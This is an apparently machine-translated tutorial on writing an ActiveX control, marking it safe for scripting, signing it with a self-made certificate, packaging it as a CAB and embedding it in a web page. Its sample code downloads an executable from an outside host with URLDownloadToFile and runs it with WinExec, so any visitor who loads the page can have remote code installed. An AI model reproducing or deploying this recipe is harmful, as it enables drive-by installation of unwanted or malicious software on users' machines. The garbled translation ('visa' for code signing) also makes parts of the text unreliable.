Prepare necessary tools: certificate generation tools, packaging tools, and visa tools
If the Platform SDK is installed, the first two types are available. Then download a signcode. EXE visa from www.ca365.com.
1. Use ATL to write ActiveX, insert Composite Control for activextest, send it to the button, double-click the button, and enter
Test code
: MessageBox (null, "wait a few seconds", "test", mb_ OK );
Urldownloadtofile (null, "http://www.softwife.com/xx.exe", "C: // xx.exe", 0, null );
Winexec ("C: // xx.exe", sw_show );
Implement the IObjectSafety interface
Compile and copy activextest. dll
2. Create a certificate:
Makecert-SV "test. PVK" N "cn = company name" test. Cer
Prompt to enter the key: The three inputs must be the same
Cert2spc test. Cer test. SPC
3. pack into a cab
Compile the INF file and name it activextest. INF. The content is as follows. CLSID can be found in activextest. IDL of your project.
[Version]
Signature = "$ Chicago $"
Advancedinf = 2.0
[Add. Code]
Activextes. dll = activextes. dll
[Activextes. dll]
File-win32-x86 = thiscab
CLSID = {XXX-XX-xx}
Fileversion = 1, 0, 0, 1
Registerserver = Yes
Cabarc-s 6144 n activextest. Cab activextest. dll activextest.
4. Visa
Double-click signcode. EXE and select activextest. Cab as required. Select Test. SPC and test. PVK.
5. Compile a Publishing Page
Classid = "CLSID: XXX-XX-xx"
Codebase = "http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">
OK. Upload the webpage and the cab package to the server. Based on these, you can write an online installer like 3721.